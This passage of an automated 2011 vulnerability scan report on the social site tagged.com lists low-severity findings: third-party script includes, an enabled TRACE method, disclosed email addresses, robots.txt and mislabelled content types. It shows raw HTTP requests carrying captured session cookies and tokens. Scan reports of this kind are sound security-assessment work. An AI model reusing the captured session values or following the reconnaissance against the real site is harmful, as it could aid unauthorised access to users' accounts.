Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 11057

<!DOCTYPE html>
<html>
<head id="html_head">
<title>Tagged - Forgot Password</title>
<noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript>
<link rel="stylesheet" type="t
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/J/KSbbNukzz.js"></script>
...[SNIP]...
</div><script type="text/javascript" src="http://x.tagstat.com/dyn/js/q/qdsqITOM2.js"></script>
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/8/wguge-j8R.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://x.tagstat.com/dyn/js/P/PlI4FS7mj.js"></script>
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/3/oWaTg5-vt.js"></script>
...[SNIP]...

5.5. http://www.tagged.com/help.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /help.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /help.html?topic=report-abuse HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:29 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 10175

<!DOCTYPE html>
<html>
<head id="html_head">
<title>Tagged</title>
<noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript>
<link rel="stylesheet" type="text/css" href="ht
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/J/KSbbNukzz.js"></script>
...[SNIP]...
</div><script type="text/javascript" src="http://x.tagstat.com/dyn/js/q/qdsqITOM2.js"></script>
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/8/wguge-j8R.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://x.tagstat.com/dyn/js/1/wZg5MmgFd.js"></script>
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/3/oWaTg5-vt.js"></script>
...[SNIP]...

5.6. http://www.tagged.com/index.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /index.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /index.html?r=%2Fideas.html%3Ftype%3Dsuggestions HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:28 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 36764

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head id="html_head">
<meta name="verify-v1" content="3D/41
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/P/5JZiLybXl.js"></script>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/2/waTAVTRlj.js"></script>
...[SNIP]...
<!-- Begin recaptcha -->
<script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...
<!-- Begin quantserve -->
<script type="text/javascript" src="//edge.quantserve.com/quant.js"></script>
...[SNIP]...

5.7. http://www.tagged.com/safety.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /safety.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /safety.html HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:27 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 15513

<!DOCTYPE html>
<html>
<head id="html_head">
<title>Tagged - Safety, Security, and Privacy Overview</title>
<noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript>
<link r
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/J/KSbbNukzz.js"></script>
...[SNIP]...
</div><script type="text/javascript" src="http://x.tagstat.com/dyn/js/q/qdsqITOM2.js"></script>
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/8/wguge-j8R.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://x.tagstat.com/dyn/js/1/wZg5MmgFd.js"></script>
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/3/oWaTg5-vt.js"></script>
...[SNIP]...

5.8. http://www.tagged.com/terms_of_service.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /terms_of_service.html

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /terms_of_service.html? HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:13 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 49843

<!DOCTYPE html>
<html>
<head id="html_head">
<title>Tagged - Terms of Service</title>
<noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript>
<link rel="stylesheet" type="
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/J/KSbbNukzz.js"></script>
...[SNIP]...
</div><script type="text/javascript" src="http://x.tagstat.com/dyn/js/D/HNao8VBqt.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://x.tagstat.com/dyn/js/_/LLfXcqiIS.js"></script>
...[SNIP]...
</link>
<script type="text/javascript" src="http://x.tagstat.com/dyn/js/3/oWaTg5-vt.js"></script>
...[SNIP]...

6. TRACE method is enabled  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: www.tagged.com
Cookie: 2088ff0b496e714e

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:35:30 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.tagged.com
Cookie: 2088ff0b496e714e
Connection: Keep-Alive
X-Forwarded-For: 173.193.214.243


7. Email addresses disclosed  previous  next
There are 2 instances of this issue:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).


7.1. http://www.tagged.com/safety.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /safety.html

Issue detail

The following email addresses were disclosed in the response:

Request

GET /safety.html HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:27 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 15513

<!DOCTYPE html>
<html>
<head id="html_head">
<title>Tagged - Safety, Security, and Privacy Overview</title>
<noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript>
<link r
...[SNIP]...
<a href="mailto:safetysquad@tagged.com">
...[SNIP]...
<a href="mailto:parentcare@tagged.com">parentcare@tagged.com</a>
...[SNIP]...
<a href="mailto:lawenforcement@tagged.com">lawenforcement@tagged.com</a>
...[SNIP]...
<a href="mailto:safetysquad@tagged.com">safetysquad@tagged.com</a>
...[SNIP]...

7.2. http://www.tagged.com/terms_of_service.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /terms_of_service.html

Issue detail

The following email addresses were disclosed in the response:

Request

GET /terms_of_service.html? HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:38:13 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-FRAME-OPTIONS: DENY
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 49843

<!DOCTYPE html>
<html>
<head id="html_head">
<title>Tagged - Terms of Service</title>
<noscript><meta http-equiv="X-Frame-Options" content="deny"/></noscript>
<link rel="stylesheet" type="
...[SNIP]...
<a href="mailto:copyrightagent@tagged.com">copyrightagent@tagged.com</a>
...[SNIP]...
<a href="mailto:parentcare@tagged.com">parentcare@tagged.com</a>
...[SNIP]...

8. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.tagged.com
Path:   /

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.tagged.com

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:35:31 GMT
Server: Apache
Last-Modified: Wed, 02 Feb 2011 17:13:08 GMT
ETag: "3d7aa9-1214-49b4fc34a7100"
Accept-Ranges: bytes
Content-Length: 4628
Vary: Accept-Encoding,User-Agent
Keep-Alive: timeout=300
Connection: Keep-Alive
Content-Type: text/plain; charset=UTF-8

#########################################################################
# /robots.txt file for http://www.tagged.com/
# mail webmaster@tagged.com for constructive criticism
#########################
...[SNIP]...

9. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


9.1. http://www.tagged.com/api/  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.tagged.com
Path:   /api/

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain CSS.

Request

POST /api/?application_id=user&format=json&session_token=k48nnbumc29k7tunhd4mautaa0 HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
Referer: http://www.tagged.com/forgot_password.html
Origin: http://www.tagged.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532
Content-Length: 299


method=tagged.header.renderAlerts&callback=tagged.header.alerts.show&api_signature=&track=pkXrwJtpd9
method=tagged.util.echoIt&data=&callback=tagged.header.alerts.init&api_signature=&track=pkXrwJtpd9
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:36:10 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Content-Type: text/html; charset=UTF-8
Content-Length: 219

["{\"stat\":\"ok\",\"diagnostics\":\"0 2.3 25.67\",\"result\":{\"HTML\":\"\"}}","{\"stat\":\"ok\",\"diagnostics\":\"0 2.3 25.67\",\"result\":\"\"}","{\"stat\":\"ok\",\"diagnostics\":\"0 2.3 25.67\",\"
...[SNIP]...

9.2. http://www.tagged.com/favicon.ico  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.tagged.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /favicon.ico HTTP/1.1
Host: www.tagged.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: S=k48nnbumc29k7tunhd4mautaa0; __qca=P0-1020015937-1305484533946; __utmz=50703532.1305484534.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=50703532.202314569.1305484534.1305484534.1305484534.1; __utmb=50703532.0.10.1305484534; __utmc=50703532

Response

HTTP/1.1 200 OK
Date: Sun, 15 May 2011 18:35:40 GMT
Server: Apache
Last-Modified: Fri, 11 Jun 2010 16:40:44 GMT
ETag: "20db5b-57e-488c3ccdedb00"
Accept-Ranges: bytes
Vary: Accept-Encoding,User-Agent
Content-Type: text/plain; charset=UTF-8
Content-Length: 1406

..............h.......(....... .......................................PPP.ddd.........ppp.NNN.........ooo.@@@.........................000...............................................................
...[SNIP]...

Report generated by XSS.CX at Sun May 15 14:43:19 CDT 2011.